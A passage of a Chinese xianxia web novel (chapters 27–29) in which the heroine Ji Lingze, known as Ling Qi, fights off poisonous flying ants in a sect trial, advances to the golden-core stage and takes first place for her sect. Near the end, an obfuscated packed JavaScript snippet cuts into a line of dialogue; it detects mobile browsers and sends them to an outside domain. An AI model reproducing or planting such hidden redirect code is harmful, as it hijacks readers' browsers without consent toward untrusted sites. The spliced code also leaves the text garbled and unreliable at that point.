想到此处,他再望向镜子中的季灵泽,目光就逐渐冷了下来。 季灵泽出局南宫策后,没有再多休息,眼下沧山派一行人估计已经另找了其他路线,再回去找他们又要让他们等自己,会浪费很多时间,她决定自己一个人摸索着去往终点,运气好的话可以在半路上遇见。 她收了招财剑,摘了一片叶子放在手心,朝叶子上吹了一口气,只见叶子上的筋脉自动改变,逐渐形成了一张缩小的考场地图,她照着这张“地图”上的路,朝着东南方向而去。 一路上虽遇见了一些毒物,但只要及时避开,都没什么大碍,直到她袖子里的传音石开始疯狂震动起来。 季灵泽在传音石震动的那一瞬间,眼皮一跳,直觉不是什么好事。 果然,郁观的声音响起,他呼吸很急促,嗓音疲倦:“我们遇到了一种很奇怪的飞蚁,我怀疑不是这个考场原有的东西,你们有遇到吗?你要不要过来看看?” 飞蚁? 季灵泽脑海中瞬间涌出一个不好的念头,她立即跳上招财剑,问郁观要了具体方位,朝那里飞奔而去。 镜子里,万象宗弟子们结成一个防御的阵,阵中的火光包围了他们,形成一个密闭的圆圈,圈外全是密密麻麻的小飞蚁,乳白色的飞蚁像是盘旋流动的水波,绕着火墙流动,伺机找空子钻进去。 被飞蚁咬到的弟子脸上顿时一片青黑,口吐白沫,倒地抽搐不起。 不断有弟子一批又一批地倒下。 眼看着防御的阵法就要瓦解,郁观的额头上密密麻麻全是渗出来的冷汗,他抓着扇子的手在不自觉地颤抖,口中迅速念念有词,折扇被他用尽全力一扇,扇动出一条巨大的水流,像飞跃起来的龙,扑向那些“嗡嗡”作响的飞蚁,高速水流的冲击将飞蚁群冲散了一些,但只是片刻的功夫,那些飞蚁重新聚集起来,汇集成一股更大的蚁群。 越来越多的同伴们遇害,而自己拼尽全力的一击,却只是博得了片刻的喘息。 郁观咬紧牙关,用同样的力道连续不断地挥出三四条水龙,水龙交叉盘旋在天上,不断驱赶那些飞蚁,可那飞蚁竟像是有了自己的意识,居然会主动躲避攻击而来的水龙,甚至循着水龙的源头,试图突破阵法朝着郁观的方向而来。 短时间内消耗了太多灵力,郁观脸色肉眼可见地白了下来。 与此同时,场外的气氛也很凝重。 洛川一看见镜中的场景便皱眉道:“这是红眼飞蚁?!这个考场分明没有这种难度的毒物!” 万象宗掌门看着镜子里自家弟子一波又一波地倒下,眉毛皱成了川字:“是啊,他们都还小,如何能对付得了已经元婴后期的红眼飞蚁?” 郑思文喝了一口茶水,神情严肃道:“考场中怎么会混进这种东西?让万象宗弟子主动出局吧,出局后派人过去将这些东西清理掉。” 万象宗掌门神情犹豫地看向郁家家主郁长松。 “当然是孩子们重要。”郁长松立刻道,他定定望着镜子里的万象宗弟子,长叹道,“红眼飞蚁并非没有对付的办法,但远非他们所能对付的,我建议,万象宗主动出局。” 得到了郁长松的首肯,万象宗掌门不再犹豫,他深吸一口气,朝其他人抱拳道:“万象宗自愿出局。” 下一刻,考场里的所有人都听见了一道声音:“万象宗全体出局。” 万象宗的干脆让所有人始料未及,甚至连万象宗弟子自己也愣住了,郁观反应最快,他长长松了一口气,立马命弟子们将倒在地上的同伴们背起来,等待接应他们的人。 时间一分一秒过去,不知为何,接应他们的人迟迟未来。 冷汗顺着郁观的脖颈流下去,他抹了一把脸,强忍着手腕上撕裂般的疼痛感,艰难地让自己再一次挥扇。 可这一次,他最后的力气只堪堪聚拢出一道水流,飞蚁群移动位置,轻松避开了这道水流。 “师兄……”一名万象宗弟子只来得及向郁观求救般喊了一声,后颈上便被飞蚁咬了一口,他口中立刻溢出白沫,跪了下去,摇晃着倒下了。 郁观眼睁睁看着他倒下,手中扇子攥得太紧,几乎生出了几分痛意。 为什么救援的人还没有赶到……这不应该…… 下一刻,只听耳畔传来一道尖锐风声,空中有一支剑逆风而来,如同一束耀眼的白光,顷刻穿透空中乌云一般的蚁群。 郁观仓皇抬眼,看清剑上的人,一时间愣住了。 那人身形单薄,笔直地站在剑上,低头向下望,刚巧与他对上视线,微微挑了一下眉。 宽袍素带,白衣猎猎,火光照出她恹恹的脸,鸦羽般的眉,也映出一双朗星般的眸子。 来的并不是救援他们的场外之人,而是……凌七。 四面都是昏迷不醒的同伴,阵外是一大群虎视眈眈的飞蚁,看清是凌七的那一瞬间,郁观心中大骇,不由道:“你怎么会来?!” 季灵泽看见那些红眼飞蚁的瞬间,干脆利索地从万丈高空中跳了下来,招财剑被她拽入手中,她在空中拔剑,不闪不避地让自己坠入飞蚁群。 “不是你叫我来么。”她的声音清晰地响起,波澜不惊。 长剑锋利,在半空中划开一个半月形的弧度,飞蚁群被剑气劈得一分两半,有不少飞蚁被剑气所杀,落下来,在地上铺开一层厚厚的黑点。 她乘势落地,看见满脸意外的郁观,发觉不对,可眼下并不是细问的时机,红眼飞蚁已经重新聚集起来,她拧了拧眉:“这是元婴期的红眼飞蚁 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万象宗修士理所应当地道:“万象宗已经出局,但刚刚赶到的凌仙友并未出局,既然她还在,为了公平,自然不该清理。” “但她是为了帮我们才来!”郁观深呼吸几次,胸中一把无名火顿时烧起来,他分毫不让地盯着那名万象宗修士,一字一顿地诘问道,“你的意思是,她要么出局,要么留下来独自对付那些飞蚁?” 这已经是美化过的说法。 万象宗真正给季灵泽的选择是:要么出局,要么死。 “那又如何。”那修士眉宇间已经浮现出不耐的神色,“任何人不得干扰仙选大会的公平性,走吧,郁观。” “我不会走。” 郁观异常坚决地退后了一步,他用尽最后的力气抓起扇子:“要么杀了飞蚁,要么,我和她一起留下来。” 从救援赶到却没有杀死飞蚁开始,季灵泽就没有再说过话,她神色清淡地靠在一边的树上,低头有一茬没一茬地拨弄着手中的剑鞘。 一直到听见郁观以自己来威胁万象宗,她神色才终于划过一抹意外,朝着那里望过去。 见郁观一点儿也不为所动,修士干脆直接拿出了传音石,传音石里,传来万象宗掌门浑厚的声音:“郁观,跟着他们走,这是命令。” 听见这个声音,郁观低下了头,有那么几分钟,谁也没说话。 直到郁观将扇子一展,咬牙切齿地冷笑了一声:“什么狗屁命令。” 这句话一出来,那万象宗的修士睁大了眼睛,不可置信地瞪着眼前这个最出色的首席大弟子,像在看某个怪物。 万象宗最重规矩,怎可对掌门这样说话?! 然而放完狠话的下一秒,眼前的人直挺挺倒了下去,白衣女修站在他背后,平静地收回手。 “带他回去。”季灵泽看着那两个修士,又像是透过那两个修士看着别的什么人,面上罕见地收了笑意。 她不笑的时候,入鬓长眉将眼尾压得上挑,勾出一个凌厉的弧度,带着几分冷森森的邪气,一时震得那两个修士都说不出话来。 她将手里的人推到他们手上,而后拎起剑,轻描淡写地道: “帮我给你们掌门带句话。” 嘴上说的是带话,她却仰起头,一双眸子径直望向天空中若隐若现的悬空镜。 所有围坐在镜前的人都能清晰看见她此刻的表情,仿佛她穿过镜子站在了他们面前,手持长剑,从容冷峻,锋利无匹。 “——区区红眼飞蚁就想让我折在这儿,还不够格。” 28. 第 28 章 眼见着郁观已经晕倒,那两个修士不再停留,他们听见季灵泽的话,像是听见了什么笑话,嘲讽道:“哈,万象宗不需要你一个无名无姓的散修来救,别把自己交代在这里就不错了。” 说罢,他们撤了术法,看见那些飞蚁重新聚拢起来,这才御剑离开。 所有人的目光都聚拢在了季灵泽身上。 红眼飞蚁绕着她盘旋,发出见到猎物后兴奋地嗡鸣声,而后数百飞蚁同时张开口器,如落雨般射向季灵泽。 季灵泽举剑抵挡,节节后退,飞蚁的数量太多,她又不能大动灵力,只得靠着地形的掩护向后退去。 她虽然后退,目光却紧盯着这些细如牛毛的虫子。 它们靠着一对半透明的翅膀躲避她劈来的剑,动作十分灵活轻捷,可一旦翅膀受损,它们的速度就会肉眼可见地慢下来,蚁群牵一发而动全身,只要有超过十只以上的飞蚁翅膀受损,整个蚁群的飞行节奏都会被打乱。 场外,她的反应落在观赛的人眼中——这白衣修士不敌蚁群的攻击,不断狼狈后退躲避。 洛川皱了眉,看着万象宗的掌门,道:“她虽然选择留下来,但我们不能坐视她死在考场中。” 万象宗掌门笑着宽慰:“为了仙选大会的公平,万象宗已经主动出局,凌七本可以出局,却自己选择留下来,放弃了唯一的逃生机会。既然沧山派没有干涉,那我们又有什么权力干涉?真人宽心,她屡次给我们惊喜,说不定这一次也可以化险为夷呢?” 仙选大会的规矩是:弟子有一次选择出局的机会,该门派掌门也拥有一次选择出局的机会。如果两次机会都放弃,则无法再自行选择出局。 可谁不知道沧山派掌门闭关修炼了几百年,不问世事,不知生死,连现场也没有来,哪里还能赶过来选择让凌七出局。 这句话一出,其余几个各怀鬼胎的掌门纷纷附和: “吉人自有天相。” “她既然主动留下来,我们尊重命运便是了。” “仙选大会最重公平,不可坏了规矩。” …… 洛川盯着镜中逐渐有颓势的凌七,眉头皱得更紧,他懒得听这群人七嘴八舌,悄然对郁泊舟隔空传音,骂道:“这帮巧言令色的老东西。” 郁泊舟一眨不眨地看着镜中的人,目不斜视,声音微冷:“狼狈为奸,一向如此。” 他这句话甚至没有用隔空传音,在空旷的殿内清晰地响起,所有人都能听得一清二楚。 万象宗掌门的目光立即冷嗖嗖地飚了过去:“云步仙尊何意?” 郁泊舟手指轻叩桌子,云淡风轻道:“字面意思。” 一时间,四大门派的掌门人纷纷挂了脸,阴沉地看向郁泊舟。 气氛顿时剑拔弩张。 一片寂静中,南宫雁温柔的嗓音响起,她适时地笑了笑,开始熟练地打圆场: “诸位莫吵架,不如先看看镜子里的凌七姑娘?她好像,不必我等相救。” 被她一提醒,众人又重望向镜中之人,这一望不要紧,看清情况后,几个掌门都僵住了。 长剑被插入地下,季灵泽单手扶着剑,站在原地,仰头看着天上飞舞盘旋的蚁群。 她方才的攻击显然给了那些蚁群震慑,蚁群每一次俯冲下来想要咬她,却总会在距离她一两米的地方停下,踟蹰不前。 季灵泽将手中的剑按了按,招财长剑插入地底,片刻后,地面上浮出一层游动的黄沙。 她摩挲着剑柄,催动冰系灵力,精纯灵力灌入剑中,剑柄上渐渐结出了一道冰霜,冰霜顺着剑身没入地下,每一颗黄沙表面都裹了一层冰刺,微微泛着冷光。 飞蚁群像一朵遮天蔽日的乌云,将季灵泽上方的天空全部遮盖,四周昏暗无光,只能看见那片浓黑中,有一道渺小的白影,独自屹立在原地,静默如风雪中一树寂静盛开的白梅。 它们扭动窥伺了半晌,终于耐不住食肉的渴望,窸窸窣窣飞掠而来。 季灵泽等的就是它们耐不住性子的这一刻,她眸中划过一丝锋利如刀的笑意。 如今她筑基大圆满,正是要冲击金丹的时候,何不趁此机会,拿这些元婴期的魔物来逼自己一把? 她将剑拔出,那把刚被修好的招财剑感知到她浓烈的杀意,清霜一般的寒气几乎快要溢出来,结成冰珠的黄沙顺着她的剑流淌转动,生生把那把剑延长了一尺。 季灵泽右手在前紧握剑盘,左手按住剑尾,在飞蚁群靠近她的一瞬间,双脚落步外展,手心朝外,手腕快速抖动,长剑须臾之间抡出无数道令人眼花缭乱的剑气,准确地击打在围绕过来的飞蚁群上。 随着一剑又一剑刺出,整个考场中的灵力仿佛受到某种指引,纷纷从四面八方涌来,凝聚成一阵绕着剑身的狂风,随着灵敏迅速的剑势不断起落。 真正强大的剑法,剑意远在剑势前。 那一刻,盯着她的所有人,注视着那流风回雪般的姿态,同时陷入一瞬间的恍惚。 放剑时,像是万山之巅,有一人独自凭栏而立,于陡峭山崖上俯瞰众山之小,云卷云舒。 收剑时,又像是万山倾倒,天崩地裂,那人随山而坠,化为一只飞鸟,绝云气,负青天,没入苍茫山林中,与天地融为一体。 风沙大作,剑气如虹,她身侧的飞蚁群像是炸开的雪花,一股一股地飘落下来,而她站在雪花中央,周遭灵气四溢,如浪涛翻滚,浩荡盘旋。 擎着剑的女子抬起眼,那双恹恹的双目中,竟不知何时有了睥睨之色。 那是曾一剑霜寒十四州的傲然,亦是万事万物都不放在眼中的洒脱。 飞蚁群发出刺耳的尖啸,扑棱着翅膀朝远处逃去。 季灵泽伸出一只手,平举招财剑,向前轻轻一推。 还没有走远的万象宗修士震惊地停在半空中,一股带着颗粒感的风从耳旁掠过,只听得一阵剧烈的“嗡嗡”惨叫,他们纷纷回头—— 那些奔逃的飞蚁直接在半空中化为齑粉,消散一空。 季灵泽收掌,负剑而立,四溢的金丹期灵力运转两个周天,被她收入掌中,她将手按在心口处,灵力顺着经脉流入丹田。 破筑基,升金丹! 九霄云阙外,金碧辉煌的殿中,已经有沉不住气的长老瞬间从椅子上弹了起来。 足足有五秒中的功夫,大殿里静得落针可闻。 “……方才那是……无何有。”南宫似深吸一口气,神情带着几分恍惚,尾音都是飘的,仿佛身处梦中。 以一人之力,悍然对抗元婴期的飞蚁,借此机会突破筑基大圆满,擢升金丹。 这种强悍的实力已经足够恐怖。 但最令人惊骇的,是她使出的剑法——无何有。 这是所有学剑的修士毕生的追求,被誉为对心性要求最高、最难学的一套剑法。 庄子有云:“今子有大树,患其无用,何不树之于无何有之乡,广莫之野,彷徨乎无为其侧,逍遥乎寝卧其下。” 使剑之人正如同这株树,怀四野,洞八荒,知无常,明生死,勘破盛衰荣辱,故心无挂碍,逍遥自在,如置“无何有”之乡 剑意空无,落处皆虚,没有人能猜透她下一剑刺向何方,只能望见半空中,缥缈若孤鸿的剑影。 整个考场似都被这石破天惊的一剑撼动,季灵泽手腕翻转,四散开的剑意若风卷残云,杀灭了红眼飞蚁,又狠狠砸向考场四周无形的屏障,两相碰撞,溅起巨大的震动声。 屏障是五个尊者共同设置的,那一刻考场中的冲击也波及到了五位尊者,他们同时感受到虎口一阵发麻。 郑思文低头看着自己的手指,怔怔不语。 四散的剑意被坚不可摧的屏障撞碎,季灵泽停下动作,从容收剑。 那把名叫招财的断剑被她收拢在手中,剑柄生锈,断口残缺,任谁也想不到,就是这把剑,使出了名动天下的无何有。 无论是尊者、掌门还是世家,一时都望着那把断剑出神。 不可思议。 这是所有人的心声。 这样的天才,为何偏偏是沧山派的人!若能为他们所用…… 最懊恼的当属万象宗掌门,他方才把事情做得太绝,恐怕已经得罪了凌七,假以时日,凌七成长起来,他们万象宗恐怕要多一个强敌。 郁长松朝万象宗掌门投来冷冷一瞥,片刻后,竟率先鼓起掌来,他堆起满面笑意道:“不错,江山代有才人出,看来这一届仙选大会,诸位尊者注定要有所收获了。” “哪里的话 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她头顶是一轮皎洁柔和的明月,清辉洒下,为这诡谲多变的考场披上一层朦胧的轻纱。 季灵泽皱了一下眉心,心神忽而一荡,面前的场景与上一世逐渐重叠交融,静谧的夜色中,有一滩血迹逐渐扩大,耳畔响起一个嘶哑的声音: “季灵泽,回头吧。” 指甲按进虎口处,泛起连绵的刺痛。季灵泽从一瞬间的心神不宁中清醒过来,深吸一口气站起。 无何有剑法之所以考验学剑之人的心性,正因为哪怕短暂置身于无何有之乡,也会在脱离的那刻再一次被执念所困,意识到己身不过朝菌蟪蛄,不得自由,不得解脱,易生心魔。 偏偏此处是九霄云阙,是她上辈子成魔后,摧毁的第一个地方,神思不宁,险些跌落心境。 考场中感知不到时间的流逝,她已经耽搁了许多时间,再不行动,恐怕就晚了。 季灵泽拍了拍衣角上的尘土,从袖子中重新翻找出那片叶子变的地图,循着终点的位置御剑而去。 她速度极快,还没有到达,就远远听见了鼎沸的人声,定睛一看,前面竟有三个门派,你不让我,我不让你,像三只乌眼鸡僵持在原地。 在一靠近,三只乌眼鸡的脸清晰起来,原来是梁胜,凤无霜与洛啸天。 季灵泽在他们发现自己之前隐匿了气息与身形,默默挑了一个粗壮的树枝坐着,开始兴致勃勃地看热闹。 南宫策出局,梁胜独挑大梁,他不想让门派中人看扁自己,领着剩下的人一路拼了命地往前赶,为了速度,牺牲了很多门派中人出局。 可谁知刚巧与速度同样很快的洛啸天撞上了,两个门派都想争魁首,自然都不肯主动让路,正当要大打出手之际,凤无霜领着玉虚宫到了。 三个门派就此僵持,堵成了一道亮丽的风景线。 季灵泽忽而开始可惜出局的万象宗了,如果郁观在这里,事情应该会更有意思。 没有南宫策的蓬莱洲,出局人数大幅提高,凤无霜与洛啸天并不放在眼里。 洛啸天因着上一个考场的事闷闷不乐,一反常态地没有说话,凤无霜上下扫视了梁胜一番,眉心一皱,显出几分轻蔑的神色来:“好狗不挡道。” 凤大小姐的攻击力一如既往的强,这话一出,扫射到了两个门派,梁胜和洛啸天同时对她怒目而视。 凤无霜对那些目光浑然不以为意,右手小拇指缓缓扣住了手中的鞭子,扬声道:“要战便战,只是梁胜,你可想好了,一旦打起来,你们蓬莱洲可占不到便宜,不如与我联手出局了百晓山,到时候,第二名自然是你的。” 此言一出,洛啸天脸色瞬间阴沉得能够滴下水来。 “出局了你,我把第二名让给蓬莱洲不是一样?”他抚摸着沙狼的下巴,紧紧逼视梁胜,“若你不同意,我与玉虚宫先一同出局了你们蓬莱洲,再分胜负。” 此刻,场内外的目光同时聚焦在了梁胜身上。他攥着紫电剑,咬牙切齿地站在原地,看着两个趾高气扬的人,心中不由产生了一股说不清道不明的悲愤。 南宫策出局,蓬莱洲难道竟沦落至要与人争第二吗? 29. 第 29 章 就在三人剑拔弩张之际,又有一队人马赶到,恰是沧山派。 一路上,沧山派运气还算好,出局的弟子人数并不多。 凤潇潇一见到他们停滞不前的样子,还有什么不明白,她攥紧了手中的鞭子,环视一圈,知道自己与这些大宗门的实力不能比,于是当机立断地对洛啸天道:“我与你们合作,出局玉虚宫与蓬莱洲。” 玉虚宫与他们有旧仇,蓬莱洲南宫策被凌七出局,结下了新梁子,这样算下来,百晓山居然已经是在场唯一可以合作的门派了。 她的话很有几分诱惑力,出局了蓬莱洲与玉虚宫,只剩下一个连金丹期都找不出几个的沧山派,他们百晓山自问还是很有信心夺魁的。 洛啸天看看凤潇潇,又看看凤无霜和梁胜,手指抚摸过沙浪的背毛,若有所思。 “洛啸天,沧山派不过是个寂寂无名的散修门派,难道你要放任一个散修门派一步步壮大吗?” 凤无霜一见到他神色动摇,警惕地朝他望去,咬重了字音:“别忘了,你是洛家人,就算我们之间有纷争,那也是世家的纷争,他沧山派凭什么与我们分一杯羹?” 此言一出,洛啸天顿了顿,下意识朝着考场外的方向看了一眼,而凤潇潇屈辱地咬唇,脸上闪过一丝压抑的怒气。 凤无霜这段话切中了要害,洛家、郁家、凤家与南宫家,互相之间再怎么内斗,可对待其他散修的态度却是一致的。 那就是,绝不能让散修威胁到四大世家的地位。 梁胜见洛啸天犹豫不决,又给他添了一把火:“依我看,我们最该出局的便是沧山派,他们已经拿过魁首,不能再让他们拿到名次了!哪怕是第二名都不行!否则岂不是在打我们的脸?!” 这段话彻底让洛啸天动摇了,他最后看了一眼场外的方向,咬了咬牙,从沙狼上跳下来,手心里聚起一层薄沙,缓缓转向凤潇潇。 “小爷……咳,不能轻易放过你们。” 凤潇潇早在凤无霜说话的时候已经提起了鞭子,在洛啸天彻底表现出敌对后,她深吸一口气,冷冷看着面前格外团结的三个队伍。 这个结果并不意外。 她要以一己之身,面对两个金丹大圆满的修士,结局是注定的。 但她不能、也不想退缩。 凤尾鞭上,迸裂开一朵璀璨的火花。 凤潇潇的眸中,怒火同样在熊熊燃烧。 百年来沧山派没有拿过一次魁首,甚至屡次沦落到垫底,都要拜这群世家弟子所赐。 输了就输了,她偏要打一场,哪怕能拽一个人出局也好,她就是看这群他爹的混账世家子弟不爽! 凭什么他们手握着比沧山派多出许多的资源,却还要以高高在上的姿态讥讽沧山派废物? 凭什么沧山派堂堂正正赢下的魁首,放在他们眼里依然是“侥幸”“小聪明”“来路不正”? 她不服! 华漠不知何时与她站在了一起,他一贯温文的脸上,此刻同样一丝笑意也没有。 不必凤潇潇说,他已经明白了她的意思,平静地道:“诸位既然要战,我沧山派虽力微,也自当奉陪到底。” 一时间,其余三个门派同时拔出剑,风沙、烈火与紫电从四面八方涌出,将沧山派众人团团围住。 华漠负责对付三个门派中的金丹修士,双手合十,闭上眼睛,身后卷起一条盘旋的水柱,如同蛟龙出海,直直撞向飞舞的黄沙。 凤潇潇则转向洛啸天三人,她袖中长鞭一闪而出,火光烧红了鞭捎,软软的长鞭竟被抖得笔直,只听她怒喝一声,以鞭代剑,携着赤火斩向凤无霜的灵台! 正当场中剑拔弩张,针锋相对之时,一道声音突然在所有人耳中炸起: “沧山派率先到达终点,获得百毒考场魁首。” 这道声音不大,却像一道惊雷,把场中所有人都劈懵了,一时间,方才还不死不休的几人全部停住了动作,呆呆地互相看着。 别说百晓山、蓬莱洲和玉虚宫的人,连他们沧山派自己都傻眼了。 此时此刻,终点边,季灵泽刚刚解除隐身状态。 她在那几个大门派啰里啰嗦讨论不能和沧山派结盟的原因时便猜到了结果,趁着几人不备,干脆自己拔腿去了终点。 此刻,她侧着耳朵如愿以偿听见了这道声音后,立即舒舒服服地往草堆上一躺,手里把玩着那个象征着终点标志的玉麒麟。 玉麒麟表面光滑细腻,触手生凉,摸到底座时却忽而摸到了一点凹陷,她将玉麒麟翻过来,找到了一个“舟”字。 端正遒劲的字迹,一笔一划都像那个人一样规整,她一眼就能认出来是郁泊舟的。 那原本精巧可爱的玉麒麟乍然变得面目可憎起来,她将玉麒麟往地上一抛,心底涌出一股说不清道不明的烦躁,干脆拔出招财剑,拈来一块石头,百无聊赖地磨起剑来。 众人赶到终点时,看到的就是眼前这幅景象。 白衣女子姿态松散地陷在草堆里,长腿交叠,双目低垂,正在有一搭没一搭地磨着手中的佩剑,听见脚步声,慢慢抬起眼来,向着沧山派的方向看来,目中微含笑意:“等你们好久了。” 凤潇潇一见到她安然无恙,胸中提着的最后一口气也松下来,她喜得顾不上其他,“嗖”地一下窜出队伍朝她奔来,张开双臂,结结实实给了季灵泽一个拥抱。 “凌七,”凤潇潇扒着她的手臂,看着这个为他们沧山派争取到了两个魁首的大功臣,情绪上头,口不择言,“我喜欢死你了,你想要什么师姐都给你买来!” 季灵泽没料到她冲上来说的是这个,一时间失笑:“有师姐这句话,我再拿十个魁首都不嫌累。” 凤无霜是第二个赶到她旁边的,她紧皱双眉,脸色比迷幻潭的潭水还要黑:“你怎么会比我们先到这里!?” 季灵泽像是没听到她说话,一眼都没看她,将磨好的剑举到阳光下照了照,见剑锋被磨砺得愈发漂亮,满意地笑了笑。 见她这样无视自己,凤无霜愈发气恼,她咬牙道:“你就算想藏私不告诉我你的伎俩,出去了我也可以问掌门与长老!” 季灵泽将剑收入鞘中,和气地道:“没那么复杂,我只是不想搭理你。” “你!” 气完凤无霜,她心情很好,又慢慢走到梁胜面前。 曾经败给她的事情,梁胜还耿耿于怀,一见她来,下意识后退了一步,警惕道:“你要做什么?” 季灵泽温温然地笑道:“怕你刚刚没听清楚,特地来重复一遍。” “承让,我们沧山派拿到了第二个魁首。” 梁胜脸都青了:“凌七!” 季灵泽低笑了一声,不再理会那些神情各异的修士们,兀自负剑,与凤潇潇一道从考场里走出去。 考场外,天光大亮,九霄云阙之上,有数百只仙鹤终日盘旋高飞,庆贺这一场的魁首诞生。 不远处的主殿里,位居高位的观赛者们陆陆续续走出,第一个出来的是郁泊舟。 他望着面前的景象,不自觉驻足。 季灵泽扭头正在和凤潇潇华漠说笑,她的眼睛弯起来,笑得肆意,带着一丝久违的放松,阳光的金影洒在她脸上,犹如水光轻轻荡漾。 郁泊舟久久未动。 “看什么呢。”洛川走过来,顺着他的目光看过去,笑问。 “……没什么。”郁泊舟收回目光,平静地道,“走吧。” 季灵泽在考场里遭遇的一切,以及万象宗对她的态度,凤潇潇和华漠很快就知道了。 在得知这件事的第二日,他们一同叩响了季灵泽的门。 季灵泽刚睡醒不久,浑身困意未消,拖着慢腾腾的脚步开了门,迎面遇到两张包公脸。 好了,这下清醒了。 凤潇潇严肃地看着她:“你在考场中,有没有受伤?” 季灵泽连连摇头。 华漠此刻也难得地板着脸:“为什么当时不选择出局?而要兵行险棋去和那些红眼飞蚁打斗?” 因为只有拿到三场比试的魁首,才能完成她对小蛇的诺言,取回九转补魂莲。 这话自然不能说出口,季灵泽只好打哈哈:“我没出局,我们沧山派还拿了魁首,这不是皆大欢喜嘛。” “我们从不想用你的命来博魁首,”凤潇潇深深吸了一口气,说出这句话时,眼睛有点红,“是我无能,才让你陷入那种险境。你是为了去救万象宗才过去的,可万象宗的掌门却背信弃义!他们派来的人都已经元婴后期,分明可以轻松清除那些飞蚁!但他们就不,明摆着是要把你逼出局!” 她越说越愤慨,一拳砸在了桌子上,可怜那张破木桌子经受不住凤潇潇的怒火,竟从中间裂开来一条缝。 季灵泽慢了一步,没来得及挽救,只能眼睁睁看着自己唯一的桌子裂开。 这张桌子,她原本想转手卖给下一届仙选大会的弟子来着。 值三百灵石呢。 她摸着那条缝隙,有点肉疼,眼看凤潇潇越说越生气,大有再打一拳的趋势,她急忙转移了话题:“第一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501216|183771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考场扈紫珠便出事,第二个考场中的红眼飞蚁更是蹊跷,我怀疑,下一个考场依然有人要做手脚。” “到底是什么人会对所有参加仙选大会的门派弟子动手?”华漠眉心深深皱起。 季灵泽摇了摇头:“不知,但你们下个考场一定要小心,若是遇到什么特殊情况,记得联系我。” “这话应该我们对你说吧!”凤潇潇哭笑不得地看着季灵泽,“到底谁是师姐啊。” 这句话令季灵泽陷入沉思。 论辈分,莫哀是他们的掌门,而季灵泽是莫哀的师娘……其实她算是沧山派的开山师祖来着。 那凤潇潇和华漠……就是她的徒孙了。 这么一想,季灵泽看凤潇潇和华漠的神情里,忍不住带上了几分莫名的“慈爱”。 凤潇潇华漠被她的目光看得莫名其妙:“……凌七?” “咳,”季灵泽以手掩唇,掩饰般轻咳了一下,“郁观怎么样了?” 凤潇潇谈起他,神色有几分复杂。 郁观这种遇见危险把凌七引过去的举动着实不地道,可后来他又宁可违抗师门命令也要给凌七发声。 “刚醒,正在杏林堂躺着。” “我去探探他,”季灵泽翻出来一盘瓜子。随手拿了剑,走出门去,“师姐师兄。你们先自便吧。” 季灵泽脚步匆匆,一眨眼便消失不见,只留下凤潇潇和华漠四目相望,表情僵硬。 去探望病人,她带什么剑啊? 这是探病去还是踢馆去? 两人齐齐叹气,都从彼此眼中看到一丝忐忑。 与此同时,杏林堂内,郁观躺在床上,满身病气,脸色憔悴,而他身侧乌泱泱站了一圈人,皆带着郁家的令牌,居高临下地俯视着他。 “郁观,家主对你上个考场的表现很不满意。”一个鬓发苍白的老人站在他面前,他打量着郁观,浑浊的眼中闪过一丝轻蔑的光芒,“等你能下地了,自己回去领罚一百鞭。” 这一百鞭控制得很好,只怕是他刚养好鞭伤,便要参加下一场的仙选大会了。 “知道了。”一贯笑着的人脸上没有表情,他透过密不透风的人墙,望向窗外一方澄澈的天,静静发呆。 “你兄长知晓了这件事,他派我来给你带话,”另一个中年修士走上前来,她声音柔婉,说出的话却极刺耳: “你从前便与凌七交好,为何不将她真正的实力告知宗门?那日在考场上,又为何要顶撞掌门?” 郁观没有说话。 中年修士的语气放缓了:“自然,我们知道你是个忠于家族的好孩子,这些都是小事。凌七此人,从前一直是废材草包,如今忽然一鸣惊人,偏偏仙选大会就在此时出了岔子,我们担心……她心术不正,与魔修勾结,你得她信赖,若能借此机会替家族盯着她,及时汇报她的动向,便饶恕你这次出言不逊。” 她每说一句话,郁观的神情便慢慢淡下去一分。 他拼了半条命,将万象宗弟子们护住,遍体鳞伤地回来,最终得到的却是来自家族的威胁。 在今日之前,他对郁家尚有几分归属感,即使知道家族看中兄长,他也时常劝自己,兄长确实比自己优秀,能担大任。 然而到此时,他才如大梦初醒般发觉,原来,郁家不是看中兄长,是已经放弃了他。 “你们今日来,便是为了这个吗?” 中年修士马上笑道:“怎么会,我们……” “够了,兄长贵人事多还能想着我,真令人荣幸,”郁观打断她的话,脸上的神情像结了一层寒冰,“我与凌七只见过几面,谈不上她信赖之人,这种任务,我不会做,也做不了。如果兄长执意要我干这等肮攒事,这个郁家人,我宁可不当。” “荒唐,你要为了凌七叛出家族吗?没有郁家的托举与供养,你能这么快跻身金丹大圆满?!”中年修士不料他胆子竟大到这个程度,待反应过来后,不由冷笑了一声,“当初郁泊舟叛出家族的代价,你还不知道吧?他……” 她还没说完,手腕上带着的玉镯忽而发出一丝清幽的亮光,修士一愣,将玉镯摘下,只听一道冷淡的声音响起: “郁观。” 随着这道声音响起,四周所有人都同时跪在地上,恭敬道:“少主。” 那道声音平静而不容拒绝地道:“不知悔改,你现在便领二十鞭。” 病床上的郁观眉心一抽,他扯出一点儿笑意来,望着那只玉镯,又像是透过那只玉镯看见了某个人,一字一顿道:“好啊,那就罚吧。”